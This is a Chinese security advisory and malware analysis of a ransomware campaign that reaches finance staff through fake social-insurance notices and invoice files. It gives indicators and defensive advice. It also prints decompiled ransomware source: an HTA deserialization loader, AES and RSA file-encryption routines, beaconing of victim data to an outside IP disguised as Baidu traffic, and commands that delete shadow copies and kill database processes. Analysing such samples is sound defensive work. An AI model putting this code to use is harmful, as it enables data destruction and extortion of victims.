【紧急警示】Locked勒索病毒针对财务人员的钓鱼及勒索攻击激增!企业财务电脑及系统资产遭勒索加密,风险不容忽视!

admin 2024年3月27日12:59:31评论33 views字数 20061阅读66分52秒阅读模式

近日,solar勒索解密团队收到多家客户因钓鱼攻击上线勒索病毒导致数据全部被加密。攻击者以“人社部发〔2023〕161号文:公司与个人缴纳比例最新调整”、“发票.rar”等为名称,通过微信、QQ、邮箱等多种方式传播,攻击目标:1.财务人员的个人主机的钓鱼和入侵;2.国内常见大型ERP系统的漏洞攻击,1day甚至是0day的利用。本篇文章主要讲解第一种财务人员的个人主机的钓鱼和入侵攻击过程及木马分析。攻击活动导致Loked勒索病毒事件呈上升趋势,我们提醒政企机构尽快进行相关风险排查,及时修复高危漏洞同,防止遭受该勒索病毒影响。关于第二种国内常见大型ERP系统的漏洞攻击,1day甚至是0day的利用的攻击过程及分析会在公众号的后续文章进行讲解,请关注我们公众号的持续更新。

【紧急警示】Locked勒索病毒针对财务人员的钓鱼及勒索攻击激增!企业财务电脑及系统资产遭勒索加密,风险不容忽视!

1.攻击说明

以往案例中,黑客行为是:“精准投毒—收集信息—实施诈骗”三个步骤,只针对客户进行钓鱼,待远控受灾主机后实施诈骗行为,而本篇文章黑客行为是通过钓鱼获取受灾主机权限直接运行勒索病毒文件,将受灾主机数据全部加密。

1.1加密样式

加密后

【紧急警示】Locked勒索病毒针对财务人员的钓鱼及勒索攻击激增!企业财务电脑及系统资产遭勒索加密,风险不容忽视!
我们对受灾机器进行分析,被感染的数据文件拓展名会被修改为“.locked”,而勒索软件留下的勒索信文件名则有2种形式:
  • READ_ME6.html
  • READ_ME5.html
【紧急警示】Locked勒索病毒针对财务人员的钓鱼及勒索攻击激增!企业财务电脑及系统资产遭勒索加密,风险不容忽视!
【紧急警示】Locked勒索病毒针对财务人员的钓鱼及勒索攻击激增!企业财务电脑及系统资产遭勒索加密,风险不容忽视!

1.2勒索内容

send 0.08btc to my address:bc1qnuxx83nd4keeegrumtnu8kup8g02yzgff6z53l. contact email:[email protected],if you can't contact my email, please contact some data recovery company(suggest taobao.com), may they can contact to me .your id: ATNPERSONID
勒索信表示,若想恢复数据,需要将0.08比特币打入黑客的比特币钱包地址,并且提供了自己的电子邮箱。按照本文撰写时的实时汇率计算,该勒索金额折合人民币约为4万余元。
【紧急警示】Locked勒索病毒针对财务人员的钓鱼及勒索攻击激增!企业财务电脑及系统资产遭勒索加密,风险不容忽视!
比特币钱包地址 bc1qnuxx83nd4keeegrumtnu8kup8g02yzgff6z53l
电子邮箱 [email protected]

此外,黑客在勒索信中提及如若无法通过邮箱与他取得联系,可通过一些数据恢复公司(建议通过某电商平台)取得联系。

以下截图为某客户通过邮件联系黑客,黑客以中文进行回复,由此可判定黑客团队为国人概率极大。

【紧急警示】Locked勒索病毒针对财务人员的钓鱼及勒索攻击激增!企业财务电脑及系统资产遭勒索加密,风险不容忽视!

【提示:以上“建议”为勒索信中内容,solar团队强烈不推荐用户进行上述操作!!!因团队遇到有客户支付了赎金,但黑客未履行承诺交付解密器,并将赎金转出。】

详情可参考:【病毒分析】交了赎金也无法恢复--针对国内某知名NAS的LVT勒索病毒最新分析

2.安全建议

2.1 远控木马自查

建议所有人员初步排查,若您在电脑登录过微信,有人单独或者群聊中发送过该文件,微信会自动下载文件并保存。建议安装everything工具进行搜索:人社部发〔2023〕161号文:公司与个人缴纳比例最新调整.exe。如果存在,千万不要双击运行,右键直接删除即可!若发现其他可疑、陌生的"xxxx.exe"文件,如果存在很有可能已被植入远程木马,建议将电脑断开网络,随后联系专业人员进行处置。

官方版everything链接:

https://www.voidtools.com/zh-cn/downloads/

【紧急警示】Locked勒索病毒针对财务人员的钓鱼及勒索攻击激增!企业财务电脑及系统资产遭勒索加密,风险不容忽视!

2.2 企业预防措施

  • 排查风险设备,清除安全隐患。企业应全面排查内部计算机设备,通过安装杀毒软件、格式化硬盘、重装操作系统等方式清除病毒,加强计算机设备的安全防护措施,定期查杀木马病毒。
  • 加强宣传教育,提高防骗意识。企业负责人和财务人员应加强防骗意识,坚决做到三个“一律”:一律不点击或打开来历不明的链接、邮件和文件,特别是标注成“合同、发票”的文件,一定要通过甄别文件来源、后缀等方法进行确认;一律不添加莫名出现的好友或群聊;向陌生银行账户转账前一律向责任领导致电或当面求证,责任领导养成规范发送财务指令习惯,避免日常工作中有通过微信发送转账指令的情形,给骗子可乘之机。
  • 规范审批流程, 健全财务制度。企业建立健全相互制约、相互监管的内部财务管理制度,明确企业的财务管理流程,严格规范公司日常财务行为,专款设置延迟到账。请大家切实提高警惕,增强防范意识,严防此类诈骗,避免上当受骗遭受财产损失。

2.3个人防范措施

  • 关闭微信自动下载
如开启自动下载,请在文件夹中查看文件,不直接打开文件。
【紧急警示】Locked勒索病毒针对财务人员的钓鱼及勒索攻击激增!企业财务电脑及系统资产遭勒索加密,风险不容忽视!
  • 谨慎点击链接
当邮件中存在链接或二维码时,要仔细辨认链接真伪,避免点击钓鱼网站,如跳转后的链接需要输入账号密码,要格外提高警惕。
【紧急警示】Locked勒索病毒针对财务人员的钓鱼及勒索攻击激增!企业财务电脑及系统资产遭勒索加密,风险不容忽视!
  • 安装杀毒软件
要安装杀毒软件并定期更新病毒库,启用杀毒软件对邮件附件的扫描功能,同时定期更新操作系统补丁。
【紧急警示】Locked勒索病毒针对财务人员的钓鱼及勒索攻击激增!企业财务电脑及系统资产遭勒索加密,风险不容忽视!

3.病毒分析

1.恶意木马分析

1.1 威胁分析

文件名称 人社部发〔2023〕161号文:公司与个人缴纳比例最新调整.exe
文件大小 143.85 KB
首次出现时间/捕获分析时间 2024/03/23 || 2024/03/23
威胁类型 钓鱼木马
远控IP 45.195.204.190
文件格式 EXEx86
HASH SHA256:40a4aa644d857b855c1045aada794832461272a15fa1138fb1993c6b94ae3eb7MD5:b105455e5b390fc6dabb4338a6423a8aSHA1:cb5554bf2f29c8bde7a82a05efaa1a0814dea067
文件类型(Magic) PE32 executable (GUI) Intel 80386, for MS Windows

1.2 执行流程

【紧急警示】Locked勒索病毒针对财务人员的钓鱼及勒索攻击激增!企业财务电脑及系统资产遭勒索加密,风险不容忽视!

1.3 远控地址

【紧急警示】Locked勒索病毒针对财务人员的钓鱼及勒索攻击激增!企业财务电脑及系统资产遭勒索加密,风险不容忽视!

2.钓鱼木马行为分析

2.1 核心函数

此木马伪装为mfc程序,在初始化函数中找到字符串,定位到核心函数:

【紧急警示】Locked勒索病毒针对财务人员的钓鱼及勒索攻击激增!企业财务电脑及系统资产遭勒索加密,风险不容忽视!

412cd0为核心代码,其他函数都是伪装的。

【紧急警示】Locked勒索病毒针对财务人员的钓鱼及勒索攻击激增!企业财务电脑及系统资产遭勒索加密,风险不容忽视!

第一个字符串可能是软件的版本信息,第二行申请了一大块内存,用于存储读到的shellcode。

【紧急警示】Locked勒索病毒针对财务人员的钓鱼及勒索攻击激增!企业财务电脑及系统资产遭勒索加密,风险不容忽视!

2.2 初始化函数

414ad0为初始化函数,创建了多线程用的event,执行了wsastartup.dll模块地址和函数地址都是动态获取的。

【紧急警示】Locked勒索病毒针对财务人员的钓鱼及勒索攻击激增!企业财务电脑及系统资产遭勒索加密,风险不容忽视!

2.3 连接函数

414bb0为连接函数,连接到服务器并输出一些中文调试信息。

【紧急警示】Locked勒索病毒针对财务人员的钓鱼及勒索攻击激增!企业财务电脑及系统资产遭勒索加密,风险不容忽视!

连接服务器,并创建下载线程。

【紧急警示】Locked勒索病毒针对财务人员的钓鱼及勒索攻击激增!企业财务电脑及系统资产遭勒索加密,风险不容忽视!

2.4 下载函数

414cb0为下载线程。

【紧急警示】Locked勒索病毒针对财务人员的钓鱼及勒索攻击激增!企业财务电脑及系统资产遭勒索加密,风险不容忽视!
【紧急警示】Locked勒索病毒针对财务人员的钓鱼及勒索攻击激增!企业财务电脑及系统资产遭勒索加密,风险不容忽视!

下载shellcode后,分配内存,写入一些疑似密码的字符串。

【紧急警示】Locked勒索病毒针对财务人员的钓鱼及勒索攻击激增!企业财务电脑及系统资产遭勒索加密,风险不容忽视!

创建执行线程.执行完毕后,将执行完成标志置1。

【紧急警示】Locked勒索病毒针对财务人员的钓鱼及勒索攻击激增!企业财务电脑及系统资产遭勒索加密,风险不容忽视!

执行后,调用414e00,发送感染成功信息。

【紧急警示】Locked勒索病毒针对财务人员的钓鱼及勒索攻击激增!企业财务电脑及系统资产遭勒索加密,风险不容忽视!

死循环等待执行标志置1。

【紧急警示】Locked勒索病毒针对财务人员的钓鱼及勒索攻击激增!企业财务电脑及系统资产遭勒索加密,风险不容忽视!

3.加密器基础信息

3.1 文件基础信息

文件名 78403c39.exe
大小 5632(5.50 KiB)
操作系统 Windows(95)
架构 I386
模式 32 位
类型 控制台
字节序 LE
MD5 d6a722fc1d3e4998de93f6112dded913
SHA256 16482e6c3ad97f048851f87b67446a64340eeb8e

2.2 勒索信

send 0.08btc to my address:bc1qnuxx83nd4keeegrumtnu8kup8g02yzgff6z53l. contact email:[email protected],if you can't contact my email, please contact some data recovery company(suggest taobao.com), may they can contact to me .your id: ATNPERSONID

2.2 勒索hta

在被感染的主机上找到了可疑文件,hta文件中嵌入了VBScript代码用于实现恶意功能

<script language="VBScript">
Sub DebugPrint(s)
End Sub

Sub SetVersion
Dim shell
Set shell = CreateObject("WScript.Shell")
shell.Environment("Process").Item("COMPLUS_Version") = "v4.0.30319"
End Sub
Function Base64ToStream(b)
Dim enc, length, ba, transform, ms
Set enc = CreateObject("System.Text.ASCIIEncoding")
length = enc.GetByteCount_2(b)
Set transform = CreateObject("System.Security.Cryptography.FromBase64Transform")
Set ms = CreateObject("System.IO.MemoryStream")
ms.Write transform.TransformFinalBlock(enc.GetBytes_4(b), 0, length), 0, ((length / 4) * 3)
ms.Position = 0
Set Base64ToStream = ms
End Function

Sub Run
Dim s, entry_class
s = "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy"
s = s & "AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph"
s = s & "dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk"
...省略约20000
s = s & "AAENAAAABAAAAAkXAAAACQYAAAAJFgAAAAYaAAAAJ1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5"
s = s & "IExvYWQoQnl0ZVtdKQgAAAAKCwAA"
entry_class = "EfsPotato.Mshta"

Dim fmt, al, d, o
Set fmt = CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter")
Set al = CreateObject("System.Collections.ArrayList")
al.Add Empty
Set d = fmt.Deserialize_2(Base64ToStream(s))
Set o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class)
End Sub

SetVersion
On Error Resume Next
Run
If Err.Number <> 0 Then
DebugPrint Err.Description
Err.Clear
End If
self.close
</script>

此代码的功能主要为,将上述的base64字符串反序列化之后执行相关的恶意功能,此程序会释放4个相关文件。

【紧急警示】Locked勒索病毒针对财务人员的钓鱼及勒索攻击激增!企业财务电脑及系统资产遭勒索加密,风险不容忽视!

4.恶意文件分析

4.1 威胁分析

病毒家族 TellYouThePass
首次出现时间/捕获分析时间 2024/03/20 || 2024/03/20
威胁类型 勒索软件,加密病毒
勒索软件地区 国外
加密文件扩展名 .locked
勒索信文件名 READ_ME6.html
有无免费解密器?
联系邮箱 [email protected]
检测名称 Avast (Win32:RansomX-gen [Ransom]), AhnLab-V3 (Ransomware/Win.Ransom.C5011664), AliCloud (RansomWare), Avast (Win32:RansomX-gen [Ransom]), Avira (no cloud) (HEUR/AGEN.1319014), BitDefenderTheta (Gen:NN.ZexaF.36802.muW@a83MUGci),ClamAV(Win.Ransomware.Rapid-9371249-0),Cybereason(Malicious.0fe686),Cynet(Malicious (score: 100)),DrWeb(Trojan.Encoder.37869),eScan(Trojan.GenericKD.70329037), Fortinet (W32/Filecoder.MALL!tr.ransom),Google(Detected)
感染症状 无法打开存储在计算机上的文件,以前功能的文件现在具有不同的扩展名(.locked)。桌面上会显示一条勒索要求消息(READ_ME6.html)。网络犯罪分子要求通过邮箱联系后支付比特币后提供数据恢复工具
感染方式 钓鱼
受灾影响 大部分文件将被加密

4.2 加密器

【紧急警示】Locked勒索病毒针对财务人员的钓鱼及勒索攻击激增!企业财务电脑及系统资产遭勒索加密,风险不容忽视!

此文件的执行参数如下

78403c39.exe  78403c39.bin z5nYkKl64ZNkhDpQT02vW2I6qudygrPl z5nYkKl64ZNkhDpQ

5.逆向分析

using System;
using System.IO;
using System.Reflection;
using System.Security.Cryptography;
using System.Text;

// Token: 0x02000002 RID: 2
internal class Program
{
// Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
private static void Main(string[] args)
{
Console.WriteLine("Start Update");
if (args.Length == 0)
{
Console.WriteLine("
helloworld");
return;
}
if (args.Length != 3)
{
Console.WriteLine("
helloworld1");
return;
}
string s = args[1];
string s2 = args[2];
byte[] bytes = Encoding.UTF8.GetBytes(s);
byte[] bytes2 = Encoding.UTF8.GetBytes(s2);
byte[] array = Program.File2Byte(args[0]);
if (array != null)
{
Assembly.Load(Program.Decrypt(array, bytes, bytes2)).CreateInstance("
U").Equals("");
return;
}
Console.WriteLine("
helloworld2");
}

// Token: 0x06000002 RID: 2 RVA: 0x000020E4 File Offset: 0x000002E4
public static byte[] Decrypt(byte[] cipherText, byte[] key, byte[] iv)
{
byte[] result;
using (RijndaelManaged rijndaelManaged = new RijndaelManaged())
{
rijndaelManaged.Key = key;
rijndaelManaged.IV = iv;
ICryptoTransform transform = rijndaelManaged.CreateDecryptor(rijndaelManaged.Key, rijndaelManaged.IV);
using (MemoryStream memoryStream = new MemoryStream())
{
using (CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Write))
{
cryptoStream.Write(cipherText, 0, cipherText.Length);
}
result = memoryStream.ToArray();
}
}
return result;
}

// Token: 0x06000003 RID: 3 RVA: 0x00002188 File Offset: 0x00000388
public static byte[] File2Byte(string filePath)
{
byte[] result;
try
{
using (FileStream fileStream = new FileStream(filePath, FileMode.Open, FileAccess.Read))
{
byte[] array = new byte[fileStream.Length];
fileStream.Read(array, 0, (int)fileStream.Length);
result = array;
}
}
catch (Exception)
{
result = null;
}
return result;
}
}

程序将会读取第一个参数作为文件路径,以及第二个和第三个参数作为密钥和初始向量,然后调用 Decrypt 方法对指定的文件进行解密操作,并尝试加载解密后的内容为一个程序集,并创建其名为 "U" 的实例。

Decrypt 方法是一个静态方法,用于对给定的密文进行解密。它使用了对称加密算法 Rijndael,并通过密钥和初始向量进行解密操作。

File2Byte 方法也是一个静态方法,用于将指定文件的内容读取为字节数组并返回。

那么推测恶意行为的代码存在于Assembly.Load加载的解密的内容中,捕获此部分内容输出到文件output.bin中。

5.1 核心程序

文件名 output.bin
大小 28672(28.00 KiB)
操作系统 Windows(95)
架构 I386
模式 32 位
类型 DLL
字节序 LE
MD5 5b5415d4895b7da6f4d8c2a8efa1d06a
SHA256 2881194b7e0939d47165c894c891737d8c189ee8fb4720e814a4bcdd804d00d1

5.2 函数RUN

恶意功能从此处开始运行,调用了U.SleepRand();进行了随机休眠,可能是为了逃避沙盒检测,随机生成了一对公私钥,将私钥用程序自带的公钥进行加密得到ID

private static string personPubKey = "BgIAAACkAABSU0ExAAQAAAEAAQABo5INMgvZRHU+odxc8HTZUnsValb+zVbnhjhUK0Smo6MnGNYvaQY6vN9j5viFHTfCgu0NculsfILwXtUVUn8WqEHjm0xfbsKl93uazKHzyuiiepA5ggNHgGbZ5vnpo5MKE3ykwdqYPst8ULxCZNPCdu3kK2PKC2li150Dl8e2zA==";

Dictionary<string, string> key = rsautil.GetKey();
string pubKey = key["PublicKey"];
string strEncryptString = key["PrivateKey"];
string text3 = rsautil.EncrytByPublic(U.personPubKey, strEncryptString);
// U
// Token: 0x06000011 RID: 17 RVA: 0x00002578 File Offset: 0x00000778
public bool Run()
{
U.SleepRand();
int tickCount = Environment.TickCount;
if (!U.IsNotRunning())
{
U.SendHttp("already2 runing1");
return false;
}
U.Destroy();
string text = common.GetWritePath() + "\pubkey9.txt";
string text2 = common.GetWritePath() + "\show9.txt";
string path = common.GetWritePath() + "\hellotest1.txt";
common.GetWritePath() + "\more9.txt";
if (File.Exists(text) || File.Exists(text2) || File.Exists(text + U.fileExtension) || File.Exists(text2 + U.fileExtension))
{
U.SendHttp("already3 runing1");
return false;
}
if (!U.skipJava && File.Exists(path))
{
U.SendHttp("already555 runing1");
return false;
}
Console.WriteLine("generate new");
RSAUtil rsautil = new RSAUtil();
Dictionary<string, string> key = rsautil.GetKey();
string pubKey = key["PublicKey"];
string strEncryptString = key["PrivateKey"];
string text3 = rsautil.EncrytByPublic(U.personPubKey, strEncryptString);
string contents = rsautil.EncrytByPublic(U.personPubKey, DateTime.Now.ToString() + U.GetInfo());
if (File.Exists(text) || File.Exists(text2) || File.Exists(text + U.fileExtension) || File.Exists(text2 + U.fileExtension))
{
U.SendHttp("already4 runing1");
return false;
}
if (!U.skipJava && File.Exists(path))
{
U.SendHttp("already66 runing1");
return false;
}
try
{
File.WriteAllText(text, contents);
File.WriteAllText(text2, text3);
}
catch
{
}
U.SendHttp("start5run");
int encSize = 10485760;
List<string> list = new List<string>();
list.Add(common.GetEnvByName("USERPROFILE"));
list.Add(common.GetEnvByName("PUBLIC"));
list.Add(common.GetEnvByName("HOMEPATH"));
foreach (string item in Environment.GetLogicalDrives())
{
list.Add(item);
}
U.appendDebugMsg("paths:" + string.Join(",", list.ToArray()));
foreach (string text4 in list)
{
U.appendDebugMsg("run dir:" + text4);
U.RunEncProcessDirectory(text4, pubKey, encSize, text3);
}
U.SendHttp("done--" + U.countFile.ToString());
return true;
}

5.3 函数RunEncProcessDirectory

此处对目录进行迭代搜索:

  1. 首先,它尝试获取指定路径下的所有文件,并对每个文件执行以下操作:
  1. 检查文件是否允许加密(通过 U.IsAllowExt(text) 方法判断)。
  2. 确保文件名中不包含特定的字符串(U.msgFileName(即READ_ME6.html)、"pubkey.txt"、"show.txt")。
  3. 如果文件符合条件,则开始对该文件执行加密操作,调用 U.RunEncProcessFile() 方法。
  4. 在加密文件后,检查文件计数是否达到一定值(U.countFile 不为零且小于等于 2000,并且能被 500 整除),如果满足条件,则发送一个 HTTP 消息,通知加密进度。
  • 接着,它尝试获取指定路径下的所有子目录,并对每个子目录执行以下操作:
    1. 检查该子目录是否被阻止加密(通过 U.IsBlockDir(text2) 方法判断),如果未被阻止,则递归调用 RunEncProcessDirectory 方法。
    // U
    // Token: 0x06000016 RID: 22 RVA: 0x0000296C File Offset: 0x00000B6C
    public static void RunEncProcessDirectory(string path, string pubKey, int encSize, string showID)
    {
        if (path.Length == 0)
        {
            return;
        }
        try
        {
            foreach (string text in Directory.GetFiles(path))
            {
                if (U.IsAllowExt(text) && !text.Contains(U.msgFileName) && !text.Contains("pubkey.txt") && !text.Contains("show.txt"))
                {
                    U.appendDebugMsg("start enc file:" + text);
                    U.RunEncProcessFile(text, pubKey, encSize, showID);
                    if (U.countFile != 0 && U.countFile <= 2000 && U.countFile % 500 == 0)
                    {
                        U.SendHttp("do-" + U.countFile.ToString());
                    }
                }
                else
                {
                    U.appendDebugMsg("skip enc file:" + text);
                }
            }
        }
        catch
        {
        }
        try
        {
            foreach (string text2 in Directory.GetDirectories(path))
            {
                if (!U.IsBlockDir(text2))
                {
                    U.RunEncProcessDirectory(text2, pubKey, encSize, showID);
                }
            }
        }
        catch (Exception ex)
        {
            Console.WriteLine("read dir from path {0} error {1}", path, ex.Message);
        }
        U.WriteMsg(path, showID);
    }

    5.4 函数IsAllowExt

    白名单文件后缀

    public static bool IsAllowExt(string name)
        {
            foreach (string text in U.extensionsToEncrypt)
            {
                if (name.ToLower().EndsWith(text.ToLower()))
                {
                    return true;
                }
            }
            return false;
        }
    private static readonly string[] extensionsToEncrypt = new string[]
        {
            "1cd",
            "3dm",
            "3ds",
            "3fr",
            "3g2",
            "3gp",
            "3pr",
            "602",
            "7z",
            "ps1",
            "7zip",
            "aac",
            "ab4",
            "accdb",
            "accde",
            "accdr",
            "accdt",
            "ach",
            "acr",
            "act",
            "adb",
            "adp",
            "ads",
            "aes",
            "agdl",
            "zip",
            省略其他正常白名单后缀
        };

    5.5 函数IsBlockDir

    文件夹黑名单,不加密此类文件夹以及其子文件夹

    public static bool IsBlockDir(string name)
        {
            foreach (string text in U.blockDirName)
            {
                if (name.ToLower().Contains(text.ToLower()))
                {
                    return true;
                }
            }
            return false;
        }
    private static readonly string[] blockDirName = new string[]
        {
            "EFI.Boot",
            "EFI.Microsoft",
            ":.Windows",
            "All Users",
            "Boot",
            "IEidcache",
            "ProgramData",
            "desktop.ini",
            "autorun.inf",
            "netuser.dat",
            "ntuser.dat",
            "bootsect.bak",
            "iconcache.db",
            "thumbs.db",
            "Local Settings",
            "bootfont.bin",
            "System Volume Information",
            "AppData",
            "Recycle.Bin",
            ":.Recovery",
            "Windows\System32",
            "Windows\System",
            "Windows\SysWOW64",
            "Windows\security",
            "WindowsPowerShell",
            "Windows\assembly",
            "Windows\Microsoft.NET",
            "Windows\Fonts",
            "Windows\IME",
            "Windows\boot",
            "Windows\inf",
            "show",
            "pubkey",
            "READ_ME",
            "README"
        };

    5.6 函数SendHttp

    107.175.127.195发送相关信息,此ip归属地为美国得克萨斯州达拉斯。向服务器发送用户相关信息,包括MachineNameUserNameProcessorCountVersion isadmin,并伪装为百度的流量Host:``css.baidu.com

    public static string httpAddr = "107.175.127.195";
    public static int httpPort = 80;
    public static void SendHttp(string s)
    {
        IPAddress[] hostAddresses = Dns.GetHostAddresses(Dns.GetHostName());
        s += "--";
        s = s + Environment.MachineName + "--";
        s = s + Environment.UserName + "--";
        s = s + Environment.ProcessorCount + "--";
        s = s + Environment.Version + "--";
        s = s + new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator).ToString() + "--";
        foreach (IPAddress ipaddress in hostAddresses)
        {
            s = s + ipaddress.ToString() + ",";
        }
        s = Uri.EscapeDataString(s);
        string s2 = "GET /css/css.css?v=" + s + " HTTP/1.1rnHost:css.baidu.comrnrn";
        try
        {
            Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
            IPEndPoint remoteEP = new IPEndPoint(IPAddress.Parse(U.httpAddr), U.httpPort);
            socket.Connect(remoteEP);
            socket.Send(Encoding.Default.GetBytes(s2));
            Thread.Sleep(1000);
            socket.Close();
        }
        catch (Exception ex)
        {
            Console.WriteLine("error socket {0}", ex.Message);
        }
    }    

    5.7 函数Destroy

    • 通过 U.ExecuteCmd() 方法执行了一系列 net stop 命令,用于停止服务;
    • 通过 U.ExecuteCmd() 方法执行了 vssadmin delete shadows /all 命令,用于删除所有卷影副本;
    • 通过 U.ExecuteCmd() 方法执行了一系列 taskkill 命令,用于强制终止指定名称的进程。
    // U
    // Token: 0x0600001C RID: 28 RVA: 0x00002DA0 File Offset: 0x00000FA0
    public static void Destroy()
    {
        U.ExecuteCmd("net stop SQLTELEMETRY");
        U.ExecuteCmd("net stop ReportServer");
        U.ExecuteCmd("net stop SQLSERVERAGENT");
        U.ExecuteCmd("net stop MSSQLServerOLAPService");
        U.ExecuteCmd("net stop SQLBrowser");
        U.ExecuteCmd("net stop SQLWriter");
        U.ExecuteCmd("net stop mssqlserver");
        U.ExecuteCmd("net stop msmq");
        U.ExecuteCmd("net stop mssql");
        U.ExecuteCmd("net stop mysql");
        U.ExecuteCmd("net stop mongodb");
        U.ExecuteCmd("net stop rabbitmq");
        U.ExecuteCmd("vssadmin delete shadows /all");
        U.ExecuteCmd("taskkill /f /im msftesql.exe");
        U.ExecuteCmd("taskkill /f /im sqlagent.exe");
        U.ExecuteCmd("taskkill /f /im sqlbrowser.exe");
        U.ExecuteCmd("taskkill /f /im sqlservr.exe");
        U.ExecuteCmd("taskkill /f /im sqlwriter.exe");
        U.ExecuteCmd("taskkill /f /im oracle.exe");
        U.ExecuteCmd("taskkill /f /im ocssd.exe");
        U.ExecuteCmd("taskkill /f /im dbsnmp.exe");
        U.ExecuteCmd("taskkill /f /im synctime.exe");
        U.ExecuteCmd("taskkill /f /im mydesktopqos.exe");
        U.ExecuteCmd("taskkill /f /im agntsvc.exeisqlplussvc.exe");
        U.ExecuteCmd("taskkill /f /im xfssvccon.exe");
        U.ExecuteCmd("taskkill /f /im mydesktopservice.exe");
        U.ExecuteCmd("taskkill /f /im ocautoupds.exe");
        U.ExecuteCmd("taskkill /f /im agntsvc.exeagntsvc.exe");
        U.ExecuteCmd("taskkill /f /im agntsvc.exeencsvc.exe");
        U.ExecuteCmd("taskkill /f /im firefoxconfig.exe");
        U.ExecuteCmd("taskkill /f /im tbirdconfig.exe");
        U.ExecuteCmd("taskkill /f /im ocomm.exe");
        U.ExecuteCmd("taskkill /f /im mysqld.exe");
        U.ExecuteCmd("taskkill /f /im mysqld-nt.exe");
        U.ExecuteCmd("taskkill /f /im mysqld-opt.exe");
        U.ExecuteCmd("taskkill /f /im dbeng50.exe");
        U.ExecuteCmd("taskkill /f /im sqbcoreservice.exe");
        U.ExecuteCmd("taskkill /f /im excel.exe");
        U.ExecuteCmd("taskkill /f /im infopath.exe");
        U.ExecuteCmd("taskkill /f /im msaccess.exe");
        U.ExecuteCmd("taskkill /f /im mspub.exe");
        U.ExecuteCmd("taskkill /f /im onenote.exe");
        U.ExecuteCmd("taskkill /f /im outlook.exe");
        U.ExecuteCmd("taskkill /f /im powerpnt.exe");
        U.ExecuteCmd("taskkill /f /im steam.exe");
        U.ExecuteCmd("taskkill /f /im sqlservr.exe");
        U.ExecuteCmd("taskkill /f /im thebat.exe");
        U.ExecuteCmd("taskkill /f /im thebat64.exe");
        U.ExecuteCmd("taskkill /f /im thunderbird.exe");
        U.ExecuteCmd("taskkill /f /im visio.exe");
        U.ExecuteCmd("taskkill /f /im winword.exe");
        U.ExecuteCmd("taskkill /f /im wordpad.exe");
        U.ExecuteCmd("taskkill /f /im tnslsnr.exe");
    }

    5.8 函数WriteMsg

    写入勒索信息

    host type target pri
    helloworldtom.online MX mx1.titan.email 10
    helloworldtom.online MX mx2.titan.email 20
    // U
    // Token: 0x06000018 RID: 24 RVA: 0x00002ADC File Offset: 0x00000CDC
    public static void WriteMsg(string path, string showId)
    {
        try
        {
            if (!File.Exists(path + "\" + U.msgFileName))
            {
                File.WriteAllText(path + "\" + U.msgFileName, U.readMeMsg.Replace("PERSONID", showId));
            }
        }
        catch (Exception ex)
        {
            Console.WriteLine("write readme file error {0}", ex.Message);
        }
    }
    private static string btcCount = "0.08";
    private static string btcAddr = "bc1qnuxx83nd4keeegrumtnu8kup8g02yzgff6z53l";
    private static string email = "[email protected]";
    private static string readMeMsg = string.Concat(new string[]
        {
            "send ",
            U.btcCount,
            "btc to my address:",
            U.btcAddr,
            ". contact email:",
            U.email,
            ",if you can't contact my email, please contact some data recovery company(suggest taobao.com), may they can contact to me .your id: ATNPERSONID"
        });

    5.9 函数RunEncProcessFile

    1. try-catch 块中,首先调用 common.FileEncryptNew() 方法执行文件加密操作,将加密后的文件保存为原文件名加上指定的文件扩展名(U.fileExtension)。
    2. 每次成功加密一个文件后,递增 U.countFile 变量,用于记录加密文件的数量。
    3. 调用 U.appendDebugMsg() 方法记录加密成功的消息。
    4. 如果在加密过程中发生异常,捕获异常并输出错误消息到控制台,然后调用 U.appendDebugMsg() 方法记录加密失败的消息,包括文件名和异常信息。
    private static readonly string fileExtension = ".locked";

    // U
    // Token: 0x06000015 RID: 21 RVA: 0x000028EC File Offset: 0x00000AEC
    public static void RunEncProcessFile(string filename, string pubKey, int encSize, string encPrivateKey)
    {
    try
    {
    common.FileEncryptNew(filename, filename + U.fileExtension, pubKey, encSize);
    U.countFile++;
    U.appendDebugMsg("enc file success" + filename);
    }
    catch (Exception ex)
    {
    Console.WriteLine("enc from filename {0} error {1}", filename, ex.Message);
    U.appendDebugMsg("enc file fail:" + filename + "reason:" + ex.ToString());
    }
    }

    5.10 函数FileEncryptNew

    用于执行文件加密操作,其中使用了 RSA 加密算法和 Rijndael 对称加密算法。

    public static bool FileEncryptNew(string inputFile, string outputFile, string pubKey, int size)
        {
            bool flag = true;
            byte[] rand = common.GetRand(2);
            byte[] rand2 = common.GetRand(1);
            byte[] array = new byte[48];
            Buffer.BlockCopy(rand, 0, array, 0, rand.Length);
            Buffer.BlockCopy(rand2, 0, array, rand.Length, rand2.Length);
            byte[] array2 = new RSAUtil().EncryptByBytes(array, pubKey);
            FileStream fileStream = new FileStream(outputFile, FileMode.Create);
            RijndaelManaged rijndaelManaged = new RijndaelManaged();
            rijndaelManaged.KeySize = 256;
            rijndaelManaged.BlockSize = 128;
            rijndaelManaged.Padding = PaddingMode.PKCS7;
            rijndaelManaged.Key = rand;
            rijndaelManaged.IV = rand2;
            rijndaelManaged.Mode = CipherMode.CFB;
            fileStream.Write(array2, 0, array2.Length);
            CryptoStream cryptoStream = new CryptoStream(fileStream, rijndaelManaged.CreateEncryptor(), CryptoStreamMode.Write);
            FileStream fileStream2 = new FileStream(inputFile, FileMode.Open);
            byte[] array3 = new byte[size];
            try
            {
                int count;
                while ((count = fileStream2.Read(array3, 0, array3.Length)) > 0)
                {
                    cryptoStream.Write(array3, 0, count);
                }
                fileStream2.Close();
            }
            catch (Exception ex)
            {
                flag = false;
                Console.WriteLine("Error: " + ex.Message);
                U.appendDebugMsg("enc file" + inputFile + " fail:" + ex.ToString());
            }
            finally
            {
                cryptoStream.Close();
                fileStream.Close();
